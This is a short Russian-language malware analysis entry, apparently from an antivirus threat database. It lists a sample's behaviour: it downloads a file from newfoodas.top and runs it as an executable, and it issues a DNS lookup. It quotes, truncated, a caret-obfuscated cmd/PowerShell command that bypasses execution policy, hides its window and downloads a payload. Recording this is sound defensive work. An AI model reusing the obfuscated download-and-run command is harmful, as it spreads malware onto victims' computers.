Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newfoodas.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwersHELl.^EXe^ -^ExE^CU^t^I^on^POl^IcY^ ^bY^pAS^s ^-no^PrOfiL^E -^wi^n^d^O^wSTYLE HiDDeN (neW-o^BJEcT sysTeM.^n^E^T.^WeBC^L^iE^NT).D^oWNL^oADf^i^le('http://newfooda...
Сетевая активность
UDP
- DNS ASK ne###odas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwersHELl.^EXe^ -^ExE^CU^t^I^on^POl^IcY^ ^bY^pAS^s ^-no^PrOfiL^E -^wi^n^d^O^wSTYLE HiDDeN (neW-o^BJEcT sysTeM.^n^E^T.^WeBC^L^iE^NT).D^oWNL^oADf^i^le('http://newfooda...' (со скрытым окном)
